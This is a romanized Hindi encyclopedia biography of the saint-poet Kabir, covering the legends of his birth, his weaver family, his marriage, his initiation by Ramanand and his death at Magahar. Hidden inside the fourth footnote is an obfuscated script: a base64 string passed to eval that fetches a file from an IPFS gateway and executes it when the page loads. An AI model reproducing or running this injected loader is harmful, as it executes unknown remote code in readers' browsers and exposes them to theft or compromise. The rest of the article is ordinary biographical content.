कबीर का जीवन परिचय
kabir ka jivan parichay
| |
| poora nam | sant kabiradas |
| any nam | kabira |
| janm | san 1398 (lagabhag) |
| janm bhoomi | laharatara tal, kashi |
| mrityu | san 1518 (lagabhag) |
| mrityu sthan | magahar, uttar pradesh |
| palak mata-pita | niru aur nima |
| pati/patni | loee |
| santan | kamal (putr), kamali (putri) |
| karm bhoomi | kashi, banaras |
| karm-kshetr | samaj sudharak kavi |
| mukhy rachanaean | sakhi, sabad aur ramaini |
| vishay | samajik |
| bhasha | avadhi, sadhukk di, panchamel khich di |
| shiksha | nirakshar |
| nagarikata | bharatiy |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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sant kabiradas hiandi sahity ke bhakti kal ke ikalaute aise kavi haian, jo ajivan samaj aur logoan ke bich vyapt adanbaroan par kutharaghat karate rahe. vah karm pradhan samaj ke pairokar the aur isaki jhalak unaki rachanaoan mean saf jhalakati hai. lok kalyan hetu hi mano unaka samast jivan tha. kabir ko vastav mean ek sachche vishv - premi ka anubhav tha. kabir ki sabase b di visheshata yah thi ki unaki pratibha mean abadh gati aur adamy prakharata thi. samaj mean kabir ko jagaran yug ka agradoot kaha jata hai.
janm
- kabiradas ke janm ke sanbandh mean anek kianvadantiyaan haian. kabir panthiyoan ki manyata hai ki kabir ka janm kashi mean laharatara talab mean utpann kamal ke manohar pushp ke oopar balak ke roop mean hua. kuchh logoan ka kahana hai ki ve janm se musalaman the aur yuvavastha mean svami ramanand ke prabhav se unhean hindoo dharm ki batean maloom hueean. ek din, ek pahar rat rahate hi kabir panchaganga ghat ki sidhiyoan par gir p de. ramanand ji ganga snan karane ke liye sidhiyaan utar rahe the ki tabhi unaka pair kabir ke sharir par p d gaya. unake mukh se tatkal `ram-ram' shabd nikal p da. usi ram ko kabir ne diksha-mantr man liya aur ramanand ji ko apana guru svikar kar liya. kabir ke hi shabdoan mean-
ham kasi mean prakat bhaye haian,
ramanand chetaye.
- kabirapanthiyoan mean inake janm ke vishay mean yah pady prasiddh hai-
chaudah sau pachapan sal ge, chandravar ek thath the.
jeth sudi barasayat ko pooranamasi tithi pragat bhe॥
ghan garajean damini damake booande barashean jhar lag ge.
lahar talab mean kamal khile tahan kabir bhanu pragat bhe॥[1]
janmasthan
kabir ke janmasthan ke sanbandh mean tin mat haian : magahar, kashi aur ajamagadh mean belahara gaanv.
- magahar ke paksh mean yah tark diya jata hai ki kabir ne apani rachana mean vahaan ka ullekh kiya hai : "pahile darasan magahar payo puni kasi base aee arthath kashi mean rahane se pahale unhoanne magahar dekha. magahar ajakal varanasi ke nikat hi hai aur vahaan kabir ka maqabara bhi hai.
- kabir ka adhikaansh jivan kashi mean vyatit hua. ve kashi ke julahe ke roop mean hi jane jate haian. kee bar kabirapanthiyoan ka bhi yahi vishvas hai ki kabir ka janm kashi mean hua. kiantu kisi praman ke abhav mean nishchayatmakata avashy bhang hoti hai.
- bahut se log ajamagadh zile ke belahara gaanv ko kabir sahab ka janmasthan manate haian.
ve kahate haian ki ‘belahara’ hi badalate-badalate laharatara ho gaya. phir bhi pata lagane par n to belahara gaanv ka thik pata chala pata hai aur n yahi maloom ho pata hai ki belahara ka laharatara kaise ban gaya aur vah ajamagadh zile se kashi ke pas kaise a gaya ? vaise ajamagadh zile mean kabir, unake panth ya anuyayiyoan ka koee smarak nahian hai.[2]
mata-pita
kabir ke mata- pita ke vishay mean bhi ek ray nishchit nahian hai. "nima' aur "niru' ki kokh se yah anupam jyoti paida huee thi, ya lahar talab ke samip vidhava brahmani ki pap- santan ke rup mean akar yah patitapavan hue the, thik tarah se kaha nahian ja sakata hai. kee mat yah hai ki nima aur niru ne keval inaka palan- poshan hi kiya tha. ek kivadanti ke anusar kabir ko ek vidhava brahmani ka putr bataya jata hai, jisako bhool se ramanand ji ne putravati hone ka ashirvad de diya tha.
ek jagah kabir ne kaha hai :-
"jati julaha nam kabira
bani bani phiro udasi.'
kabir ke ek pad se pratit hota hai ki ve apani mata ki mrityu se bahut du:khi hue the. unake pita ne unako bahut sukh diya tha. vah ek jagah kahate haian ki usake pita bahut "gusaee' the. granth sahab ke ek pad se vidit hota hai ki kabir apane vayanakary ki upeksha karake harinam ke ras mean hi lin rahate the. unaki mata ko nity kosh gh da lekar lipana p data tha. jabase kabir ne mala li thi, usaki mata ko kabhi sukh nahian mila. is karan vah bahut khij gee thi. isase yah bat samane ati hai ki unaki bhakti evan sant- sanskar ke karan unaki mata ko kasht tha. [3]
bachapan[4]
kabiradas ka lalan-palan julaha parivar mean hua tha, isalie unake mat ka mahattvapoorn aansh yadi is jati ke paranparagat vishvasoan se prabhavit raha ho to isamean ashchary ki koee bat nahian hai. yadyapi 'julaha' shabd farasi bhasha ka hai,[5] tathapi is jati ki utpatti ke vishay mean sanskrit puranoan mean kuchh-n-kuchh charcha milati hi hai. brahmavaivart puran ke brahm khand ke dasavean adhyay mean bataya gaya hai ki mlechchh se kuviandakanya mean 'jola' ya julaha jati ki utpatti huee hai.[6] arthath mlechchh pita aur kuviand mata se jo santati huee vahi julaha kahalaee.
julaha
julahe musalaman hai, par inase any musalamanoan ka maulik bhed hai. sanh 1901 ki manushy-ganana ke adhar par rijali sahab ne 'pipuls aauf iandiya' namak ek granth likha tha. is granth mean unhoanne tin musalaman jatiyoan ki tulana ki thi. ve tin haian: saiyad, pathan aur julahe. inamean pathan to bharatavarsh mean sarvatr phaile hue haian par unaki sankhya kahian bhi bahut adhik nahian hai. jan p data hai ki bahar se akar ve nana sthanoan par apani suvidha ke anusar bas ge. par julahe panjab, uttar pradesh, bihar aur bangal mean hi pae jate haian. jin dinoan kabiradas is is julaha-jati ko alankrit kar rahe the un dinoan, aisa jan p data hai ki is jati ne abhi ekadh pusht se hi musalamani dharm grahan kiya tha. kabiradas ki vani ko samajhane ke lie yah nihayat zaroori hai ki ham is bat ki janakari prapt kar le ki un dinoan is jati ke bache-kuche purane sanskar kya the.[4]
uttar bharat ke vayanajiviyoan mean kori mukhy haian. bens julahoan ko koriyoan ki samashil jati hi manate haian. kuchhek panditoan ne yah bhi anuman kiya hai ki musalamani dharm grahan karane vale kori hi julahe haian. yah ullekh kiya ja sakata hai ki kabiradas jahaan apane ko bar-bar julaha kahate haian,
(1) jati julaha mati kau dhir. harashi gun ramai kabir.
(2) too brahman maian kashi ka julaha.[7]
vahaan kabhi-kabhi apane ko kori bhi kah ge haian.[8] aisa jan p data hai ki yadyapi kabiradas ke yug mean julahoan ne musalamani dharm grahan kar liya tha par sadharan janata mean tab bhi kori nam se parichit the.[4]
sabase pahale lagane vali bat yah hai ki kabiradas ne apane ko julaha to kee bar kaha hai, par musalaman ek bar bhi nahian kaha. ve barabar apane ko 'na-musalaman' kahate rahe. adhyatmik paksh mean nissandeh yah bahut ooancha bhav hai, par kabiradas ne kuchh is dhang se apane ko ubhay-vishesh bataya hai ki kabhi-kabhi yah sandeh hota hai ki ve adhyatmik saty ke atirikt ek samajik tathy ki or bhi ishara kar rahe haian. un dinoan vayanajivi nath-matavalanbi grihasth yogiyoan ki jati sachamuch hi 'na-hiandoo na-musalaman' thi. kabiradas ne kam-se-kam ek pad mean spasht roop se svikar kiya hai ki hiandoo aur haian, musalaman aur haian aur yogi aur haian, kyoanki yogi ya jogi 'gorakh-gorakh karata hai, hiandoo 'ram-ram' uchcharata hai aur musalaman 'khuda-khuda' kaha karata hai.[9]
shiksha
thumb|kabiradas|250px kabir b de hone lage. kabir padhe-likhe nahian the- apani avastha ke balakoan se ekadam bhinn rahate the. kabiradas ki khel mean koee ruchi nahian thi. madarase bhejane layaq sadhan pita-mata ke pas nahian the. jise har din bhojan ke lie hi chianta rahati ho, us pita ke man mean kabir ko padhane ka vichar bhi n utha hoga. yahi karan hai ki ve kitabi vidya prapt n kar sake.
masi kagad chhoovo nahian, qalam gahi nahian hath.
unhoanne svayan granth nahian likhe, muanh se bole aur unake shishyoan ne use likh liya.
vaivahik jivan
kabir ka vivah vanakhe di bairagi ki palita kanya 'loee' ke sath hua tha. kabir ko kamal aur kamali nam ki do santan bhi thi. granth sahab ke ek shlok se vidit hota hai ki kabir ka putr kamal unake mat ka virodhi tha.
boo da bans kabir ka, upaja poot kamal.
hari ka simaran chhodi ke, ghar le aya mal.[3]
kabir ki putri kamali ka ullekh unaki baniyoan mean kahian nahian milata hai. kaha jata hai ki kabir ke ghar mean rat - din mudiyoan ka jamaghat rahane se bachchoan ko roti tak milana kathin ho gaya tha. is karan se kabir ki patni jhuanjhala uthati thi. ek jagah kabir usako samajhate haian :-
suni aanghali loee banpir.
in mu diyan bhaji saran kabir..[3]
jabaki kabir ko kabir panth mean, bal- brahmachari aur virani mana jata hai. is panth ke anusar kamaty usaka shishy tha aur kamali tatha loee unaki shishya. loee shabd ka prayog kabir ne ek jagah kanbal ke rup mean bhi kiya hai. vastutah kabir ki patni aur santan donoan the. ek jagah loee ko pukar kar kabir kahate haian :-
"kahat kabir sunahu re loee.
hari bin rakhan har n koee..'[3]
yah ho sakata ho ki pahale loee patni hogi, bad mean kabir ne ise shishya bana liya ho. unhoanne spasht kaha hai :-
nari to ham bhi kari, paya nahian vichar.
jab jani tab parihari, nari maha vikar..[3]
guru diksha
kabir ji ne socha ki guru kiye bina kam banega nahian. us samay kashi mean ramanand nam ke sant b de uchch koti ke mahapurush mane jate the. kabir ji ne unake ashram ke mukhy dvar par akar vinati kiah "mujhe guruji ke darshan karao."
us samay jat-paant ka b da agrah rahata tha. aur phir kashi ! vahaan panditoan aur pande logoan ka adhik prabhav tha. kabir ji ne dekha ki har roj subah tin-char baje svami ramanand kh daooan pahanakar 'tap...tap....' avaz karate ganga mean snan karane jate haian. kabir ji ne ganga ke ghat par unake jane ke raste mean aur sab jagah ba d kar di. ek hi marg rakha aur us marg mean subah ke andhere mean kabir ji so gaye. guru maharaj aye to andhere ke karan kabir ji par pair p d gaya. unake mukh se udagar nikal p deah "ram... ram... ram....."
kabir ji ka to kam ban gaya. guruji ke darshan bhi ho gaye, unaki padukaoan ka sparsh bhi mil gaya aur gurumukh se ramanam ka mantr bhi mil gaya. ab diksha mean baki hi kya raha ? kabir ji nachate, gate, gunagunate ghar vapas aye. ramanam ki aur gurudev ke nam ki rat laga di. atyant snehapoorvak hriday se gurumantr ka jap karate, gurunam ka kirtan karate sadhana karane lage. jo mahapurush jahaan pahuanche haian vahaan ki anubhooti unaka bhavapoorn hriday se chintan karane vale ko bhi hone lagati hai. kashi ke panditoan ne dekha ki yavan ka putr kabir ramanam japata hai, ramanand ke nam ka kirtan karata hai ! us yavan ko ramanam ki diksha kisane di ? kyoan di ? mantr ko bhrasht kar diya ! panditoan ne kabir se poochha:-
"ramanam ki diksha tere ko kisane di ?"
"svami ramanandaji maharaj ke shrimukh se mili."
"kahaan di ?"
"subah ganga ke ghat par."
pandit ramanand ji ke pas pahuanche aur kaha ki apane yavan ko ramamantr ki diksha dekar mantr ko bhrasht kar diya, sampraday ko bhrasht kar diya. guru maharaj ! yah apane kya kiya ?
guru maharaj ne kaha- "maianne to kisi ko diksha nahian di."
"vah yavan julaha to ramanand..... ramanand.... mere gurudev ramanand" ki rat lagakar nachata hai, apaka nam badanam karata hai."
"bhaee ! maianne usako kuchh nahian kaha. usako bulakar poochha jay. pata chal jayega."
kashi ke pandit ikatthe ho gaye. kabir ji ko bulaya gaya. guru maharaj manch par virajaman haian. samane vidvanh panditoan ki sabha baithi hai.
ramanandaji ne kabir se poochhaah "maianne tujhe kab diksha di ? maian kab tera guru bana ?"
kabir ji boleah "maharaj ! us din prabhat ko apane mere ko paduka ka sparsh karaya aur ramamantr bhi diya, vahaan ganga ke ghat par."
ramanand ji kupit se ho gaye. kabir ji ko apane samane bulaya aur garaj kar boleah "mere samane too jhooth bol raha hai ? sach bol...."
"prabhu ! apane hi mujhe pyara ramanam ka mantr diya tha...."
[[chitr:26-maghar.jpg|thumb|left|250px|kabiradas ki majar aur samadhi, magahar, uttar pradesh]]
ramanandaji ko gussa a gaya. khadaooan uthakar de mari kabir ji ke sir par.
"ram... ram...ram....! itana jhooth bolata hai....."
kabir ji bol utheah "guru maharaj ! tabaki diksha jhoothi to abaki to sachchi...! mukh se ramanam ka mantr bhi mil gaya aur sir mean apaki pavan paduka ka sparsh bhi ho gaya."
svami ramanand ji uchch koti ke sant-mahatma the. gh di bhar bhitar gota lagaya, shaant ho gaye. phir panditoan se kahaah "chalo, yavan ho ya kuchh bhi ho, mera pahale nambar ka shishy yahi hai."
brahmanishth satpurushoan ki vidya ya diksha prasad khakar mile to bhi be da par karati hai aur mar khakar mile to bhi be da par kar deti hai.[10]
mrityu
kabir ne kashi ke pas magahar mean deh tyag di. aisi manyata hai ki mrityu ke bad unake shav ko lekar vivad utpann ho gaya tha. hindoo kahate the ki unaka aantim sanskar hindoo riti se hona chahie aur muslim kahate the ki muslim riti se. isi vivad ke chalate jab unake shav par se chadar hat gee, tab logoan ne vahaan phooloan ka dher p da dekha. bad mean vahaan se adhe phool hinduoan ne le lie aur adhe musalamanoan ne. musalamanoan ne muslim riti se aur hianduoan ne hiandoo riti se un phooloan ka aantim sanskar kiya. magahar mean kabir ki samadhi hai. janm ki bhaanti inaki mrityu tithi evan ghatana ko lekar bhi matabhed haian kintu adhikatar vidvanh unaki mrityu sanvat 1575 vikrami (san 1518 ee.) manate haian, lekin bad ke kuchh itihasakar unaki mrityu 1448 ko manate haian.[11] [[chitr:Hazari Prasad Dwivedi.JPG|thumb|hazari prasad dvivedi]]
hazariprasad dvivedi ki qalam se
tripura zile ke yogiyoan ko pahale agnidah karate haian aur phir samadhi bhi dete haian arthath mitti mean ga d bhi dete haian. kabiradas ke vishay mean prasiddh hai ki unaki mrityu ke bad kuchh phool bach rahe the jinamean se adhe ko hinduoan ne jalaya aur adhe ko musalamanoan ne ga d diya. kee panditoan ne is ko karamati kianvadati kahakar u da diya hai, par mera anuman hai ki sachamuch hi kabiradas ko (tripura zile ke vartaman yogiyoan ki bhaanti) samadhi bhi di gee hogi aur unaka agni-sanskar bhi kiya gaya hoga. yadi yah anuman saty hai to dridhata ke sath hi kaha ja sakata hai ki kabiradas jis julaha jati mean palit hue the vah ekadh pusht pahale ke yogi jaisi kisi ashram-bhrasht jati se musalaman huee thi ya abhi hone ki rah mean thi. jogi jati ka sanbandh nathapanthi siddhaantoan ki janakari n ho, to kabir ki vaniyoan ko samajh sakana bhi mushkil hai.[4]
| left|30px|link=kabir|pichhe jaean | kabir ka jivan parichay | right|30px|link=kabir ka samakalin samaj|age jaean |
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tika tippani aur sandarbh
- ↑ kabir granthavali (hiandi) (ech.ti.em.el) hiandi samay d aaut k aaum. abhigaman tithi: 2 agast, 2011.
- ↑ mahatma kabir (hiandi) (pi.ech.pi) bharatiy sahity sangrah. abhigaman tithi: 2 agast, 2011.
- ↑ 3.0 3.1 3.2 3.3 3.4 kabir (hiandi) (ech.ti.em.el) hindi sikhean bl aaug. abhigaman tithi: 2 agast, 2011.
- ↑ 4.0 4.1 4.2 4.3 dvivedi, hajariprasad kabir, 1990 (hindi), bharatadiskavari pustakalay: rajakamal prakashan, nee dilli.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ prasiddh vidvanh raykrishnadas ji ne apane ek patr mean mujhe bataya hai ki 'julaha' shabd sanskrit 'cholavay' se bana hai. parantu mujhe sanskrit-sahity mean 'cholavay' shabd ka kahian prayog nahian mila.
- ↑ mlechchhath kuviandakanyayaan jola jatirbabhoov h. jolath kuviandakanyaya sharak: parikirtit:॥
- ↑ kabir granthavali, shi shyamasuandaradas- sanpadit, kashi nagari-pracharini sabha, kashi, 1928, pad 270 ityadi.
- ↑ parihari kam ram kah baure suni sikh bandhoo mori. hari ko naanv abhai-pad-data kahai kabira kori॥
kabir granthavali, shi shyamasuandaradas- sanpadit, kashi nagari-pracharini sabha, kashi, 1928, pad 346 ityadi. - ↑ jogi gorakh-gorakh karai. hiandoo ram-nam uchcharai. musalaman kahai ek khudai. kabir ko svami ghati ghati rahayoan samai॥
kabir granthavali, shi shyamasuandaradas- sanpadit, kashi nagari-pracharini sabha, kashi, 1928, pad 300 ityadi. - ↑ kabir ji ki diksha (hindi) (ech.ti.em.el) mukti ka sahaj marg (hariomgroup.org). abhigaman tithi: 4 agast, 2011.
- ↑ sant kavi kabir (hiandi) (ech.ti.em.el) veb duniya. abhigaman tithi: 4 agast, 2011.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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